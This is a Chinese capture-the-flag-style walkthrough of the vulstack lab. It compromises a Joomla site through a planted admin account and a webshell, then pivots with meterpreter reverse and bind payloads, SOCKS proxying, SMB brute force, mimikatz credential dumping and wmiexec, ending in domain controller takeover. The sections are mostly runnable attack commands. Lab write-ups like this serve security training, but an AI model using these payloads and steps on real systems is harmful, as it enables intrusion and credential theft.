0x00环境搭建
两种形式
1.添加vmare2网卡,修改vmare2网卡的地址为192.168.93.0网段,注意不要在连接到主机适配器上打勾,这样会使本机也可以访问此电脑,5台机器都换成vmare2即可,第一台出网的centos在添加另一张nat网卡即可
centos需要改配置
nginx配置
把/etc/nginx/nginx.conf的server全部改为ubuntu的ip
ps aux|grep nginx
kill -9 进程id
/usr/sbin/nginx -c /etc/nginx/nginx.conf
网络配置
重启服务
service network start
ping www.badiu.com 能ping通说明nat可以正常上网
配置完成:
ubuntu
网络配置
在没有开机之前,选用vmare2网卡
service networking start
其他三台靶机改为vmare2网卡即可
2.修改nat网卡ip为192.168.1.0网段即可
正向代理:vpn,服务器不知道客户端真实地址
反向代理:客户端不知道服务器真实地址
上面web的两台靶机
第一台 centos nginx反向代理,将访问自己的全部流量转发之ubuntu中
第二台 ubuntu web服务器
0x01 web靶机渗透
1.信息搜集(存活ip,端口,服务及版本,cms或框架,中间件,敏感文件或目录)
存活ip,端口,服务及版本
192.168.85.177
22,3306,80
nmap 192.168.85.0/24
nmap -p1-65535 192.168.85.177
nmap -sV 192.168.85.177
访问192.168.85.177网站,寻找漏洞及敏感信息
发现cms joomla,找漏洞时需要版本,所以需要进行版本探测
尝试报错看一下是否会有版本出来
需要再查看一下状态码,看是不是伪造的,状态码为404
找到一个登录框,可以尝试进行暴力破解,sql注入
f12c查看源代码,找到一个search搜索框,尝试sql注入
1’“()\都没报错
先前扫描时服务及版本时时nginx服务器,现在apache服务器,说明做了反向代理
使用msf的auxiliary/scanner/http/joomla_version ,版本是3.9.12
使用msf关于jommla的exp进行攻击时,试了几个,都失败了
现在知道版本了找cms漏洞
CVE-2021-23132 需要登录后台才可以进行执行
或使用工具扫描版本
这里使用joomscan,并且可以进行目录和敏感文件扫描
joomscan -u http://192.168.85.177
找到了robots.txt,还有一个感觉像后台的目录,再就是感觉像配置文件的文件,版本3.9.12
查看配置文件
2.登录数据库
发现了数据库用户名和密码,可以尝试使用navicat进行连接
testuser
cvcvgjASD!@
登录成功
找类似user的关键表
3.修改用户名密码
找到用户名和密码,尝试对密码进行解密,john或cmd5,解密失败
可以下载同样版本的joomla,写一个知道密码的密文,然后进行更新覆盖
知道加密,直接更改,搜索文档可一下有没有进行密码重置的文档
jommla密码重置
直接执行就可以了
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
- password = “this is the MD5 and salted hashed password”
- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
4.登录后台
admin2
secret
5.写shell,连接蚁剑
上面找到一个后台远程代码执行漏洞,尝试使用这个漏洞
在extentions-》templates-》templates-》Beez3 Details and Files出可以修改源码
在error.php写入一句话木马
访问http://192.168.85.177/templates/beez3/error.php
post传入1=phpinfo();
执行没问题后连接蚁剑
6.绕过disabled命令执行
发现执行命令时,没有执行,正常来说不管权限多少小,一些基本命令都是能执行的,再次执行phpinfo,查看是不是禁用了函数
发现命令执行的函数都被禁用掉了,这里可以用蚁剑的插件进行绕过
找到插件市场,把下载,如果在蚁剑下载不了,可以直接在github下载对应的插件
放到antSword-master\antData\plugins下,插件名成是as_bypass_php_disable_functions-master
启动插件
选择模块,启动
会重新开启一个执行界面
执行命令
7.继续进行信息搜集
查看网络信息路由
可以看出,是不出网的机器,这台是apache也就是web服务器的真实ip,不是nginx的ip
上传msf木马是不行的,连接不了,代理隧道都不行
两个可以登录的用户,yy和root
注意这里的内核或其他方式提权是不可以的,蚁剑的是一个伪终端,不是真实的bash环境,编译一些文件或执行文件无法返回一个bash会话
发现mysql的plugin目录是可写的,但是提权成功之后也没意义只是能成功执行命令,权限还是www-data,反弹shell,不出网,连不上
系统版本
进入yy的家目录,查看有什么信息,没找到有用的信息,继续进入可读的目录查找敏感信息
tmp目录下发现用户名和密码,但是在passwd文件中并没有发现用户名,所以这个用户名应该是nginx的用户名,信息搜集时返现22端口是开启的,所以可以尝试登陆
8.ssh登录nginx服务器,centos
wwwuser
wwwuser_123Aqx
使用xshell或使用kali自带的ssh
9.继续对centos进行信息搜集
网络
版本
用户
9.上传木马,xshell或wget,执行木马
centos
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f elf -p 1.elf
开启监听
use mutli/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run
ubuntu
添加路由
run autoroute -s 192.168.93.0/24
或
run post/multi/manage/autoroute
生成木马,通过蚁剑上传执行
msfvenom -p linux/x64/meterpreter/bind_tcp lport=4444 -f elf -p 2.elf
开启监听
use mutli/handler
set payload linux/x64/meterpreter/bind_tcp
set lhost 0.0.0.0
set rhost 192.168.93.120
run
10.提权
centos可以通过脏牛提权,ubuntu可以通过cve-2021-3493,这里不再演示了
0x02 内网横向移动
前面路由已经添加了,这里就不用添加了
1.开启socks代理
use auxiliary/server/socks_proxy
set version 4a
ser srvport 9050
run
2.探测存活主机(在添加路由的那个msfconsole中)
auxiliary/scanner/discover/arp_sweep
auxiliary/scanner/discover/udp_probe
auxiliary/scanner/smb/smb_version
这里使用第二种
use auxiliary/scanner/discover/udp_probe
set rhosts 192.168.93.0/24
run
扫出三台存活主机
192.168.93.10
192.168.93.20
192.168.96.30
3.扫描端口
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10,20,30
都开放了139,445,尝试永恒之蓝攻击都失败了
192.168.93.20开放了80端口
192.168.93.10开放了88端口
两个访问但是没东西
扫目录也没有扫出来
192.168.93.20 开放了1433,mssql数据库
尝试进行爆破,可以使用前面的mysql密码尝试一下
没试
还有一个思路是爆破smb密码
4.使用hydra爆破smb密码
proxychains4 hydra -l administrator -P pass.txt smb://192.168.93.20
字典要足够多,才能爆破出来
密码 123qwe!ASD
5.连接smb,进行上传木马,mimikatz
生成正向连接木马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4455 -f exe >1.exe
连接smb,上传木马和mimkatz
proxychains4 smbclient //192.168.93.20/c$ -U administrator
输入密码: 123qwe!ASD
put 1.exe
put mimikatz.exe
6.wmic执行木马上线msf
上线msf还可以用ipc$ 计划任务开实现
wmic执行木马(python impaket wmiexec.py)
proxychains4 impacket-wmiexec 'administrator:123qwe!ASD@192.168.93.20'
开启监听
use multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 4455
run
#提权
getuid
getsystem
getuid
窃取凭据
load mimikatz
creds_all #获取所有凭证
发现域管理员密码,重新上述操作,登录域控
zxcASDqwe123!!
有几个地方需要注意,是test域登录
连接smb,上传木马
proxychains4 smbclient //192.168.93.20/c$ -U test/administrator
输入密码: zxcASDqwe123!!
put 1.exe
proxychains4 impacket-wmiexec 'test/administrator:zxcASDqw123!!@192.168.93.10'
域控成功提权:
参考文章:
vulstack (三)